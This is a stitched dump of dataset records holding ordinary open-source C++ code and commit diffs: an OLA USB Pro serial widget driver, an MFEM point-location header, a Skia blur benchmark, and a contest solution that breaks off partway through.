\"ola\/Logging.h\"\n#include \"plugins\/usbpro\/BaseUsbProWidget.h\"\n\nnamespace ola {\nnamespace plugin {\nnamespace usbpro {\n\nconst unsigned int BaseUsbProWidget::HEADER_SIZE =\n sizeof(BaseUsbProWidget::message_header);\n\n\nBaseUsbProWidget::BaseUsbProWidget(\n ola::io::ConnectedDescriptor *descriptor)\n : m_descriptor(descriptor),\n m_state(PRE_SOM),\n m_bytes_received(0) {\n m_descriptor->SetOnData(\n NewCallback(this, &BaseUsbProWidget::DescriptorReady));\n}\n\n\nBaseUsbProWidget::~BaseUsbProWidget() {\n m_descriptor->SetOnData(NULL);\n}\n\n\n\/*\n * Read data from the widget\n *\/\nvoid BaseUsbProWidget::DescriptorReady() {\n while (m_descriptor->DataRemaining() > 0) {\n ReceiveMessage();\n }\n}\n\n\n\/*\n * Send a DMX frame.\n * @returns true if we sent ok, false otherwise\n *\/\nbool BaseUsbProWidget::SendDMX(const DmxBuffer &buffer) {\n struct {\n uint8_t start_code;\n uint8_t dmx[DMX_UNIVERSE_SIZE];\n } widget_dmx;\n\n widget_dmx.start_code = DMX512_START_CODE;\n unsigned int length = DMX_UNIVERSE_SIZE;\n buffer.Get(widget_dmx.dmx, &length);\n return SendMessage(DMX_LABEL,\n reinterpret_cast<uint8_t*>(&widget_dmx),\n length + 1);\n}\n\n\n\/*\n * Send the msg\n * @return true if successful, false otherwise\n *\/\nbool BaseUsbProWidget::SendMessage(uint8_t label,\n const uint8_t *data,\n unsigned int length) const {\n if (length && !data)\n return false;\n\n ssize_t frame_size = HEADER_SIZE + length + 1;\n uint8_t frame[frame_size];\n message_header *header = reinterpret_cast<message_header*>(frame);\n header->som = SOM;\n header->label = label;\n header->len = length & 0xFF;\n header->len_hi = (length & 0xFF00) >> 8;\n\n memcpy(frame + sizeof(message_header), data, length);\n frame[frame_size - 1] = EOM;\n\n ssize_t bytes_sent = m_descriptor->Send(frame, frame_size);\n if (bytes_sent != frame_size)\n \/\/ we've probably screwed framing at this point\n return false;\n\n return true;\n}\n\n\n\/**\n * Open a path and apply the settings required for talking to widgets.\n *\/\nola::io::ConnectedDescriptor *BaseUsbProWidget::OpenDevice(\n const string &path) {\n struct termios newtio;\n int fd = open(path.data(), O_RDWR | O_NONBLOCK | O_NOCTTY);\n\n if (fd == -1) {\n OLA_WARN << \"Failed to open \" << path << \" \" << strerror(errno);\n return NULL;\n }\n\n bzero(&newtio, sizeof(newtio)); \/\/ clear struct for new port settings\n newtio.c_cflag |= CREAD;\n newtio.c_cflag |= CS8;\n cfsetispeed(&newtio, B115200);\n cfsetospeed(&newtio, B115200);\n tcsetattr(fd, TCSANOW, &newtio);\n\n return new ola::io::DeviceDescriptor(fd);\n}\n\n\n\/*\n * Read the data and handle the messages.\n *\/\nvoid BaseUsbProWidget::ReceiveMessage() {\n unsigned int count, packet_length;\n\n switch (m_state) {\n case PRE_SOM:\n do {\n m_descriptor->Receive(&m_header.som, 1, count);\n if (count != 1)\n return;\n } while (m_header.som != SOM);\n m_state = RECV_LABEL;\n case RECV_LABEL:\n m_descriptor->Receive(&m_header.label, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_LO;\n case RECV_SIZE_LO:\n m_descriptor->Receive(&m_header.len, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_HI;\n case RECV_SIZE_HI:\n m_descriptor->Receive(&m_header.len_hi, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n if (packet_length == 0) {\n m_state = RECV_EOM;\n return;\n } else if (packet_length > MAX_DATA_SIZE) {\n m_state = PRE_SOM;\n return;\n }\n\n m_bytes_received = 0;\n m_state = RECV_BODY;\n case RECV_BODY:\n packet_length = (m_header.len_hi << 8) + m_header.len;\n m_descriptor->Receive(\n reinterpret_cast<uint8_t*>(&m_recv_buffer) + m_bytes_received,\n packet_length - m_bytes_received,\n count);\n\n if (!count)\n return;\n\n m_bytes_received += count;\n if (m_bytes_received != packet_length)\n return;\n\n m_state = RECV_EOM;\n case RECV_EOM:\n \/\/ check this is a valid frame with an end byte\n uint8_t eom;\n m_descriptor->Receive(&eom, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n\n if (eom == EOM)\n HandleMessage(m_header.label,\n packet_length ? m_recv_buffer : NULL,\n packet_length);\n m_state = PRE_SOM;\n }\n return;\n}\n} \/\/ usbpro\n} \/\/ plugin\n} \/\/ ola\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#ifndef MFEM_GSLIB\n#define MFEM_GSLIB\n\n#include \"..\/config\/config.hpp\"\n#include \"gridfunc.hpp\"\n\n#ifdef MFEM_USE_GSLIB\n\nstruct comm;\nstruct findpts_data_2;\nstruct findpts_data_3;\nstruct array;\nstruct crystal;\n\nnamespace mfem\n{\n\n\/** \\brief FindPointsGSLIB can robustly evaluate a GridFunction on an arbitrary\n * collection of points. There are three key functions in FindPointsGSLIB:\n *\n * 1. Setup - constructs the internal data structures of gslib.\n *\n * 2. FindPoints - for any given arbitrary set of points in physical space,\n * gslib finds the element number, MPI rank, and the reference space\n * coordinates inside the element that each point is located in. gslib also\n * returns a code that indicates wether the point was found inside an\n * element, on element border, or not found in the domain.\n *\n * 3. Interpolate - Interpolates any gridfunction at the points found using 2.\n *\n * FindPointsGSLIB provides interface to use these functions individually or using\n * a single call.\n *\/\nclass FindPointsGSLIB\n{\nprotected:\n Mesh *mesh, *meshsplit;\n IntegrationRule *ir_simplex; \/\/ IntegrationRule to split quads\/hex -> simplex\n struct findpts_data_2 *fdata2D; \/\/ pointer to gslib's\n struct findpts_data_3 *fdata3D; \/\/ internal data\n int dim, points_cnt;\n Array<unsigned int> gsl_code, gsl_proc, gsl_elem, gsl_mfem_elem;\n Vector gsl_mesh, gsl_ref, gsl_dist, gsl_mfem_ref;\n bool setupflag;\n struct crystal *cr;\n struct comm *gsl_comm;\n double default_interp_value;\n\n GridFunction::AvgType avgtype;\n\n \/\/\/ Get GridFunction from MFEM format to GSLIB format\n void GetNodeValues(const GridFunction &gf_in, Vector &node_vals);\n \/\/\/ Get nodal coordinates from mesh to the format expected by GSLIB for quads\n \/\/\/ and hexes\n void GetQuadHexNodalCoordinates();\n \/\/\/ Convert simplices to quad\/hexes and then get nodal coordinates for each\n \/\/\/ split element into format expected by GSLIB\n void GetSimplexNodalCoordinates();\n\n \/\/\/ Use GSLIB for communication and interpolation\n void InterpolateH1(const GridFunction &field_in, Vector &field_out);\n \/\/\/ Uses GSLIB Crystal Router for communication followed by MFEM's\n \/\/\/ interpolation functions\n void InterpolateGeneral(const GridFunction &field_in, Vector &field_out);\n \/\/\/ Map {r,s,t} coordinates from [-1,1] to [0,1] for MFEM. For simplices mesh\n \/\/\/ find the original element number (that was split into micro quads\/hexes\n \/\/\/ by GetSimplexNodalCoordinates())\n void MapRefPosAndElemIndices();\n\npublic:\n FindPointsGSLIB();\n\n#ifdef MFEM_USE_MPI\n FindPointsGSLIB(MPI_Comm _comm);\n#endif\n\n ~FindPointsGSLIB();\n\n \/** Initializes the internal mesh in gslib, by sending the positions of the\n Gauss-Lobatto nodes of the input Mesh object @a m.\n Note: not tested with periodic (DG meshes).\n Note: the input mesh @a m must have Nodes set.\n\n @param[in] m Input mesh.\n @param[in] bb_t Relative size of bounding box around each element.\n @param[in] newt_tol Newton tolerance for the gslib search methods.\n @param[in] npt_max Number of points for simultaneous iteration. This\n alters performance and memory footprint. *\/\n void Setup(Mesh &m, const double bb_t = 0.1, const double newt_tol = 1.0e-12,\n const int npt_max = 256);\n\n \/** Searches positions given in physical space by @a point_pos. This function\n populates the following Class variables:\n #point_pos Positions to be found. Must by ordered by nodes:\n (XXX...,YYY...,ZZZ).\n #gsl_code Return codes for each point: inside element (0),\n element boundary (1), not found (2).\n #gsl_proc MPI proc ids where the points were found.\n #gsl_elem Element ids where the points were found.\n Defaults to 0 for points that were not found.\n #gsl_mfem_elem Element ids corresponding to MFEM-mesh where the points\n were found. #gsl_mfem_elem != #gsl_elem for simplices\n Defaults to 0 for points that were not found.\n #gsl_ref Reference coordinates of the found point.\n Ordered by vdim (XYZ,XYZ,XYZ...). Defaults to -1 for\n points that were not found. Note: the gslib reference\n frame is [-1,1].\n #gsl_mfem_ref Reference coordinates #gsl_ref mapped to [0,1].\n Defaults to 0 for points that were not found.\n #gsl_dist Distance between the sought and the found point\n in physical space. *\/\n void FindPoints(const Vector &point_pos);\n \/\/\/ Setup FindPoints and search positions\n void FindPoints(Mesh &m, const Vector &point_pos, const double bb_t = 0.1,\n const double newt_tol = 1.0e-12, const int npt_max = 256);\n\n \/** Interpolation of field values at prescribed reference space positions.\n @param[in] field_in Function values that will be interpolated on the\n reference positions. Note: it is assumed that\n @a field_in is in H1 and in the same space as the\n mesh that was given to Setup().\n @param[out] field_out Interpolated values. For points that are not found\n the value is set to #default_interp_value. *\/\n void Interpolate(const GridFunction &field_in, Vector &field_out);\n \/** Search positions and interpolate *\/\n void Interpolate(const Vector &point_pos, const GridFunction &field_in,\n Vector &field_out);\n \/** Setup FindPoints, search positions and interpolate *\/\n void Interpolate(Mesh &m, const Vector &point_pos,\n const GridFunction &field_in, Vector &field_out);\n\n \/\/\/ Average type to be used for L2 functions in-case a point is located at\n \/\/\/ an element boundary where the function might not have a unique value.\n void SetL2AvgType(GridFunction::AvgType avgtype_) { avgtype = avgtype_; }\n\n \/\/\/ Set the default interpolation value for points that are not found in the\n \/\/\/ mesh.\n void SetDefaultInterpolationValue(double interp_value_)\n {\n default_interp_value = interp_value_;\n }\n\n \/** Cleans up memory allocated internally by gslib.\n Note that in parallel, this must be called before MPI_Finalize(), as\n it calls MPI_Comm_free() for internal gslib communicators. *\/\n void FreeData();\n\n \/\/\/ Return code for each point searched by FindPoints: inside element (0), on\n \/\/\/ element boundary (1), or not found (2).\n const Array<unsigned int> &GetCode() const { return gsl_code; }\n \/\/\/ Return element number for each point found by FindPoints.\n const Array<unsigned int> &GetElem() const { return gsl_mfem_elem; }\n \/\/\/ Return MPI rank on which each point was found by FindPoints.\n const Array<unsigned int> &GetProc() const { return gsl_proc; }\n \/\/\/ Return reference coordinates for each point found by FindPoints.\n const Vector &GetReferencePosition() const { return gsl_mfem_ref; }\n \/\/\/ Return distance Distance between the sought and the found point\n \/\/\/ in physical space, for each point found by FindPoints.\n const Vector &GetDist() const { return gsl_dist; }\n\n \/\/\/ Return element number for each point found by FindPoints corresponding to\n \/\/\/ GSLIB mesh. gsl_mfem_elem != gsl_elem for mesh with simplices.\n const Array<unsigned int> &GetGSLIBElem() const { return gsl_elem; }\n \/\/\/ Return reference coordinates in [-1,1] (internal range in GSLIB) for each\n \/\/\/ point found by FindPoints.\n const Vector &GetGSLIBReferencePosition() const { return gsl_ref; }\n};\n\n} \/\/ namespace mfem\n\n#endif \/\/MFEM_USE_GSLIB\n\n#endif \/\/MFEM_GSLIB guard\n<commit_msg>minor<commit_after>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#ifndef MFEM_GSLIB\n#define MFEM_GSLIB\n\n#include \"..\/config\/config.hpp\"\n#include \"gridfunc.hpp\"\n\n#ifdef MFEM_USE_GSLIB\n\nstruct comm;\nstruct findpts_data_2;\nstruct findpts_data_3;\nstruct array;\nstruct crystal;\n\nnamespace mfem\n{\n\n\/** \\brief FindPointsGSLIB can robustly evaluate a GridFunction on an arbitrary\n * collection of points. There are three key functions in FindPointsGSLIB:\n *\n * 1. Setup - constructs the internal data structures of gslib.\n *\n * 2. FindPoints - for any given arbitrary set of points in physical space,\n * gslib finds the element number, MPI rank, and the reference space\n * coordinates inside the element that each point is located in. gslib also\n * returns a code that indicates wether the point was found inside an\n * element, on element border, or not found in the domain.\n *\n * 3. Interpolate - Interpolates any gridfunction at the points found using 2.\n *\n * FindPointsGSLIB provides interface to use these functions individually or using\n * a single call.\n *\/\nclass FindPointsGSLIB\n{\nprotected:\n Mesh *mesh, *meshsplit;\n IntegrationRule *ir_simplex; \/\/ IntegrationRule to split quads\/hex -> simplex\n struct findpts_data_2 *fdata2D; \/\/ pointer to gslib's\n struct findpts_data_3 *fdata3D; \/\/ internal data\n int dim, points_cnt;\n Array<unsigned int> gsl_code, gsl_proc, gsl_elem, gsl_mfem_elem;\n Vector gsl_mesh, gsl_ref, gsl_dist, gsl_mfem_ref;\n bool setupflag;\n struct crystal *cr;\n struct comm *gsl_comm;\n double default_interp_value;\n\n GridFunction::AvgType avgtype;\n\n \/\/\/ Get GridFunction from MFEM format to GSLIB format\n void GetNodeValues(const GridFunction &gf_in, Vector &node_vals);\n \/\/\/ Get nodal coordinates from mesh to the format expected by GSLIB for quads\n \/\/\/ and hexes\n void GetQuadHexNodalCoordinates();\n \/\/\/ Convert simplices to quad\/hexes and then get nodal coordinates for each\n \/\/\/ split element into format expected by GSLIB\n void GetSimplexNodalCoordinates();\n\n \/\/\/ Use GSLIB for communication and interpolation\n void InterpolateH1(const GridFunction &field_in, Vector &field_out);\n \/\/\/ Uses GSLIB Crystal Router for communication followed by MFEM's\n \/\/\/ interpolation functions\n void InterpolateGeneral(const GridFunction &field_in, Vector &field_out);\n \/\/\/ Map {r,s,t} coordinates from [-1,1] to [0,1] for MFEM. For simplices mesh\n \/\/\/ find the original element number (that was split into micro quads\/hexes\n \/\/\/ by GetSimplexNodalCoordinates())\n void MapRefPosAndElemIndices();\n\npublic:\n FindPointsGSLIB();\n\n#ifdef MFEM_USE_MPI\n FindPointsGSLIB(MPI_Comm _comm);\n#endif\n\n ~FindPointsGSLIB();\n\n \/** Initializes the internal mesh in gslib, by sending the positions of the\n Gauss-Lobatto nodes of the input Mesh object @a m.\n Note: not tested with periodic (DG meshes).\n Note: the input mesh @a m must have Nodes set.\n\n @param[in] m Input mesh.\n @param[in] bb_t Relative size of bounding box around each element.\n @param[in] newt_tol Newton tolerance for the gslib search methods.\n @param[in] npt_max Number of points for simultaneous iteration. This\n alters performance and memory footprint. *\/\n void Setup(Mesh &m, const double bb_t = 0.1, const double newt_tol = 1.0e-12,\n const int npt_max = 256);\n\n \/** Searches positions given in physical space by @a point_pos. These positions\n must by ordered by nodes: (XXX...,YYY...,ZZZ).\n This function populates the following member variables:\n #gsl_code Return codes for each point: inside element (0),\n element boundary (1), not found (2).\n #gsl_proc MPI proc ids where the points were found.\n #gsl_elem Element ids where the points were found.\n Defaults to 0 for points that were not found.\n #gsl_mfem_elem Element ids corresponding to MFEM-mesh where the points\n were found. #gsl_mfem_elem != #gsl_elem for simplices\n Defaults to 0 for points that were not found.\n #gsl_ref Reference coordinates of the found point.\n Ordered by vdim (XYZ,XYZ,XYZ...). Defaults to -1 for\n points that were not found. Note: the gslib reference\n frame is [-1,1].\n #gsl_mfem_ref Reference coordinates #gsl_ref mapped to [0,1].\n Defaults to 0 for points that were not found.\n #gsl_dist Distance between the sought and the found point\n in physical space. *\/\n void FindPoints(const Vector &point_pos);\n \/\/\/ Setup FindPoints and search positions\n void FindPoints(Mesh &m, const Vector &point_pos, const double bb_t = 0.1,\n const double newt_tol = 1.0e-12, const int npt_max = 256);\n\n \/** Interpolation of field values at prescribed reference space positions.\n @param[in] field_in Function values that will be interpolated on the\n reference positions. Note: it is assumed that\n @a field_in is in H1 and in the same space as the\n mesh that was given to Setup().\n @param[out] field_out Interpolated values. For points that are not found\n the value is set to #default_interp_value. *\/\n void Interpolate(const GridFunction &field_in, Vector &field_out);\n \/** Search positions and interpolate *\/\n void Interpolate(const Vector &point_pos, const GridFunction &field_in,\n Vector &field_out);\n \/** Setup FindPoints, search positions and interpolate *\/\n void Interpolate(Mesh &m, const Vector &point_pos,\n const GridFunction &field_in, Vector &field_out);\n\n \/\/\/ Average type to be used for L2 functions in-case a point is located at\n \/\/\/ an element boundary where the function might not have a unique value.\n void SetL2AvgType(GridFunction::AvgType avgtype_) { avgtype = avgtype_; }\n\n \/\/\/ Set the default interpolation value for points that are not found in the\n \/\/\/ mesh.\n void SetDefaultInterpolationValue(double interp_value_)\n {\n default_interp_value = interp_value_;\n }\n\n \/** Cleans up memory allocated internally by gslib.\n Note that in parallel, this must be called before MPI_Finalize(), as\n it calls MPI_Comm_free() for internal gslib communicators. *\/\n void FreeData();\n\n \/\/\/ Return code for each point searched by FindPoints: inside element (0), on\n \/\/\/ element boundary (1), or not found (2).\n const Array<unsigned int> &GetCode() const { return gsl_code; }\n \/\/\/ Return element number for each point found by FindPoints.\n const Array<unsigned int> &GetElem() const { return gsl_mfem_elem; }\n \/\/\/ Return MPI rank on which each point was found by FindPoints.\n const Array<unsigned int> &GetProc() const { return gsl_proc; }\n \/\/\/ Return reference coordinates for each point found by FindPoints.\n const Vector &GetReferencePosition() const { return gsl_mfem_ref; }\n \/\/\/ Return distance Distance between the sought and the found point\n \/\/\/ in physical space, for each point found by FindPoints.\n const Vector &GetDist() const { return gsl_dist; }\n\n \/\/\/ Return element number for each point found by FindPoints corresponding to\n \/\/\/ GSLIB mesh. gsl_mfem_elem != gsl_elem for mesh with simplices.\n const Array<unsigned int> &GetGSLIBElem() const { return gsl_elem; }\n \/\/\/ Return reference coordinates in [-1,1] (internal range in GSLIB) for each\n \/\/\/ point found by FindPoints.\n const Vector &GetGSLIBReferencePosition() const { return gsl_ref; }\n};\n\n} \/\/ namespace mfem\n\n#endif \/\/MFEM_USE_GSLIB\n\n#endif \/\/MFEM_GSLIB guard\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright 2013 Google Inc.\n*\n* Use of this source code is governed by a BSD-style license that can be\n* found in the LICENSE file.\n*\/\n\n#include \"SkBenchmark.h\"\n#include \"SkBlurMask.h\"\n#include \"SkBlurMaskFilter.h\"\n#include \"SkCanvas.h\"\n#include \"SkColorFilter.h\"\n#include \"SkLayerDrawLooper.h\"\n#include \"SkPaint.h\"\n#include \"SkPath.h\"\n#include \"SkPoint.h\"\n#include \"SkRect.h\"\n#include \"SkRRect.h\"\n#include \"SkString.h\"\n#include \"SkXfermode.h\"\n\nclass BlurRoundRectBench : public SkBenchmark {\npublic:\n BlurRoundRectBench(int width, int height,\n \/\/ X and Y radii for the upper left corner\n int ulX, int ulY,\n \/\/ X and Y radii for the upper right corner\n int urX, int urY,\n \/\/ X and Y radii for the lower right corner\n int lrX, int lrY,\n \/\/ X and Y radii for the lower left corner\n int llX, int llY)\n : fName(\"blurroundrect\")\n , fWidth(width)\n , fHeight(height) {\n fName.appendf(\"_WH[%ix%i]_UL[%ix%i]_UR[%ix%i]_LR[%ix%i]_LL[%ix%i]\",\n width, height,\n ulX, ulY,\n urX, urY,\n lrX, lrY,\n llX, llY);\n fRadii[0].set(SkIntToScalar(ulX), SkIntToScalar(ulY));\n fRadii[1].set(SkIntToScalar(urX), SkIntToScalar(urY));\n fRadii[2].set(SkIntToScalar(lrX), SkIntToScalar(lrY));\n fRadii[3].set(SkIntToScalar(llX), SkIntToScalar(llY));\n }\n\n virtual const char* onGetName() SK_OVERRIDE {\n return fName.c_str();\n }\n\n virtual SkIPoint onGetSize() SK_OVERRIDE {\n return SkIPoint::Make(fWidth, fHeight);\n }\n\n virtual void onDraw(SkCanvas* canvas) SK_OVERRIDE {\n for (int i = 0; i < this->getLoops(); i++) {\n SkLayerDrawLooper* looper = new SkLayerDrawLooper;\n {\n SkLayerDrawLooper::LayerInfo info;\n info.fFlagsMask = 0;\n info.fPaintBits = 40;\n info.fColorMode = SkXfermode::kSrc_Mode;\n info.fOffset = SkPoint::Make(SkIntToScalar(-1), SkIntToScalar(0));\n info.fPostTranslate = false;\n SkPaint* paint = looper->addLayerOnTop(info);\n SkMaskFilter* maskFilter = SkBlurMaskFilter::Create(SK_ScalarHalf,\n SkBlurMaskFilter::kNormal_BlurStyle,\n SkBlurMaskFilter::kHighQuality_BlurFlag);\n paint->setMaskFilter(maskFilter)->unref();\n SkColorFilter* colorFilter = SkColorFilter::CreateModeFilter(SK_ColorLTGRAY,\n SkXfermode::kSrcIn_Mode);\n paint->setColorFilter(colorFilter)->unref();\n paint->setColor(SK_ColorGRAY);\n }\n {\n SkLayerDrawLooper::LayerInfo info;\n looper->addLayerOnTop(info);\n }\n SkPaint paint;\n SkRect rect = SkRect::MakeWH(fWidth, fHeight);\n canvas->drawRect(rect, paint);\n\n paint.setLooper(looper)->unref();\n paint.setAntiAlias(true);\n paint.setColor(SK_ColorCYAN);\n\n SkRRect rrect;\n rrect.setRectRadii(rect, fRadii);\n canvas->drawRRect(rrect, paint);\n }\n }\n\nprivate:\n SkString fName;\n const int fWidth;\n const int fHeight;\n SkVector fRadii[4];\n typedef SkBenchmark INHERITED;\n};\n\n\/\/ Create one with dimensions\/rounded corners based on the skp\nDEF_BENCH(return new BlurRoundRectBench(600, 5514, 6, 6, 6, 6, 6, 6, 6, 6);)\n\/\/ Same radii, much smaller rectangle\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 6, 6, 6, 6, 6, 6, 6, 6);)\n\/\/ Rounded rect with two opposite corners with large radii, the other two\n\/\/ small.\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 30, 30, 10, 10, 30, 30, 10, 10);)\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 90, 90, 90, 90, 90, 90, 90, 90);)\n<commit_msg>Another int to scalar fix.<commit_after>\/*\n* Copyright 2013 Google Inc.\n*\n* Use of this source code is governed by a BSD-style license that can be\n* found in the LICENSE file.\n*\/\n\n#include \"SkBenchmark.h\"\n#include \"SkBlurMask.h\"\n#include \"SkBlurMaskFilter.h\"\n#include \"SkCanvas.h\"\n#include \"SkColorFilter.h\"\n#include \"SkLayerDrawLooper.h\"\n#include \"SkPaint.h\"\n#include \"SkPath.h\"\n#include \"SkPoint.h\"\n#include \"SkRect.h\"\n#include \"SkRRect.h\"\n#include \"SkString.h\"\n#include \"SkXfermode.h\"\n\nclass BlurRoundRectBench : public SkBenchmark {\npublic:\n BlurRoundRectBench(int width, int height,\n \/\/ X and Y radii for the upper left corner\n int ulX, int ulY,\n \/\/ X and Y radii for the upper right corner\n int urX, int urY,\n \/\/ X and Y radii for the lower right corner\n int lrX, int lrY,\n \/\/ X and Y radii for the lower left corner\n int llX, int llY)\n : fName(\"blurroundrect\")\n , fWidth(width)\n , fHeight(height) {\n fName.appendf(\"_WH[%ix%i]_UL[%ix%i]_UR[%ix%i]_LR[%ix%i]_LL[%ix%i]\",\n width, height,\n ulX, ulY,\n urX, urY,\n lrX, lrY,\n llX, llY);\n fRadii[0].set(SkIntToScalar(ulX), SkIntToScalar(ulY));\n fRadii[1].set(SkIntToScalar(urX), SkIntToScalar(urY));\n fRadii[2].set(SkIntToScalar(lrX), SkIntToScalar(lrY));\n fRadii[3].set(SkIntToScalar(llX), SkIntToScalar(llY));\n }\n\n virtual const char* onGetName() SK_OVERRIDE {\n return fName.c_str();\n }\n\n virtual SkIPoint onGetSize() SK_OVERRIDE {\n return SkIPoint::Make(fWidth, fHeight);\n }\n\n virtual void onDraw(SkCanvas* canvas) SK_OVERRIDE {\n for (int i = 0; i < this->getLoops(); i++) {\n SkLayerDrawLooper* looper = new SkLayerDrawLooper;\n {\n SkLayerDrawLooper::LayerInfo info;\n info.fFlagsMask = 0;\n info.fPaintBits = 40;\n info.fColorMode = SkXfermode::kSrc_Mode;\n info.fOffset = SkPoint::Make(SkIntToScalar(-1), SkIntToScalar(0));\n info.fPostTranslate = false;\n SkPaint* paint = looper->addLayerOnTop(info);\n SkMaskFilter* maskFilter = SkBlurMaskFilter::Create(SK_ScalarHalf,\n SkBlurMaskFilter::kNormal_BlurStyle,\n SkBlurMaskFilter::kHighQuality_BlurFlag);\n paint->setMaskFilter(maskFilter)->unref();\n SkColorFilter* colorFilter = SkColorFilter::CreateModeFilter(SK_ColorLTGRAY,\n SkXfermode::kSrcIn_Mode);\n paint->setColorFilter(colorFilter)->unref();\n paint->setColor(SK_ColorGRAY);\n }\n {\n SkLayerDrawLooper::LayerInfo info;\n looper->addLayerOnTop(info);\n }\n SkPaint paint;\n SkRect rect = SkRect::MakeWH(SkIntToScalar(fWidth), SkIntToScalar(fHeight));\n canvas->drawRect(rect, paint);\n\n paint.setLooper(looper)->unref();\n paint.setAntiAlias(true);\n paint.setColor(SK_ColorCYAN);\n\n SkRRect rrect;\n rrect.setRectRadii(rect, fRadii);\n canvas->drawRRect(rrect, paint);\n }\n }\n\nprivate:\n SkString fName;\n const int fWidth;\n const int fHeight;\n SkVector fRadii[4];\n typedef SkBenchmark INHERITED;\n};\n\n\/\/ Create one with dimensions\/rounded corners based on the skp\nDEF_BENCH(return new BlurRoundRectBench(600, 5514, 6, 6, 6, 6, 6, 6, 6, 6);)\n\/\/ Same radii, much smaller rectangle\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 6, 6, 6, 6, 6, 6, 6, 6);)\n\/\/ Rounded rect with two opposite corners with large radii, the other two\n\/\/ small.\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 30, 30, 10, 10, 30, 30, 10, 10);)\nDEF_BENCH(return new BlurRoundRectBench(100, 100, 90, 90, 90, 90, 90, 90, 90, 90);)\n<|endoftext|>"} {"text":"<commit_before>\/**\n * File : D.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-7 21:10:12\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 1 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nll A, B;\n\nint solve()\n{\n ll S = A * B;\n if (A > B)\n swap(A, B);\n if (S <= 2)\n return 0;\n ll ub = S;\n ll lb = 1;\n while (ub - lb > 1)\n {\n ll t = (ub + lb) \/ 2;\n if ((S+t)\/(t+1) + 1 >= (S+t-1)\/t)\n {\n ub = t;\n }\n else\n {\n lb = t;\n }\n }\n#if DEBUG == 1\n cerr << \"S = \" << S << \", ub = \" << ub << endl;\n#endif\n ll ans = (ub - 1) + ((S+ub-1) \/ ub - 1);\n ll X = ub - 1;\n ll Y = (S + ub - 1) \/ ub - 1;\n if (X > Y)\n swap(X, Y);\n if (B <= X)\n {\n ans -= 2;\n }\n else if (A > Y)\n {\n \/\/\n }\n else\n {\n ans -= 1;\n }\n return ans;\n}\n\nint main()\n{\n int Q;\n cin >> Q;\n for (auto i = 0; i < Q; i++)\n {\n cin >> A >> B;\n cout << solve() << endl;\n }\n}<commit_msg>tried D.cpp to 'D'<commit_after>\/**\n * File : D.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-7 21:10:12\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 1 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nll A, B;\n\nint solve()\n{\n ll S = A * B;\n if (A > B)\n swap(A, B);\n if (S <= 2)\n return 0;\n ll ub = S;\n ll lb = 1;\n while (ub - lb > 1)\n {\n ll t = (ub + lb) \/ 2;\n if ((S+t)\/(t+1) >= (S+t-1)\/t)\n {\n ub = t;\n }\n else\n {\n lb = t;\n }\n }\n#if DEBUG == 1\n cerr << \"S = \" << S << \", ub = \" << ub << endl;\n#endif\n ll ans = (ub - 1) + ((S+ub-1) \/ ub - 1);\n ll X = ub - 1;\n ll Y = (S + ub - 1) \/ ub - 1;\n if (X > Y)\n swap(X, Y);\n if (B <= X)\n {\n ans -= 2;\n }\n else if (A > Y)\n {\n \/\/\n }\n else\n {\n ans -= 1;\n }\n return 